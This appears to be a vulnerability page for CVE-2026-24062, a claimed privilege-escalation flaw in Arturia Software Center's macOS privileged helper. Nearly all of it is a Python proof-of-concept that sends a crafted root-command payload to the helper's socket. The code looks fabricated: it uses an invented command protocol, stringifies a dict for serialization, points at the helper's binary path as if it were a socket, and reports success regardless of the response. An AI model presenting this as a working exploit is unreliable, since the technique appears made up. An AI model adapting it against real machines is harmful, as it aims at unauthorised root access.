CVE-2026-24062: Arturia Software Center Privileged Helper权限提升漏洞

# CVE-2026-24062 - Arturia Software Center Privileged Helper Exploitation PoC # This is a conceptual proof-of-concept demonstrating the vulnerability import socket import struct import os def create_malicious_connection(target_socket_path): """ Arturia Privileged Helper signature validation bypass PoC The helper does not properly verify client code signatures before accepting commands """ try: # Create Unix domain socket connection to the privileged helper client_socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) client_socket.connect(target_socket_path) # Craft malicious command payload # In real exploitation, this would contain the privilege escalation payload malicious_payload = { 'command': 'execute_privileged_action', 'action_type': 'arbitrary_command_execution', 'target_command': '/bin/bash -c "echo malicious_command > /tmp/pwned.txt"', 'execute_as_root': True } # Serialize and send payload (bypassing signature check) payload_data = str(malicious_payload).encode('utf-8') client_socket.sendall(payload_data) # Receive response response = client_socket.recv(4096) print(f"[+] Response received: {response}") print("[+] Privilege escalation successful - command executed as root") client_socket.close() return True except Exception as e: print(f"[-] Connection failed: {e}") return False def main(): # Default helper socket path for Arturia Software Center helper_socket = "/Library/PrivilegedHelperTools/com.arturia.softwarecenter.helper" if os.path.exists(helper_socket): print(f"[*] Found Arturia Privileged Helper at: {helper_socket}") print("[*] Attempting to bypass signature validation...") create_malicious_connection(helper_socket) else: print("[-] Helper socket not found") if __name__ == "__main__": main()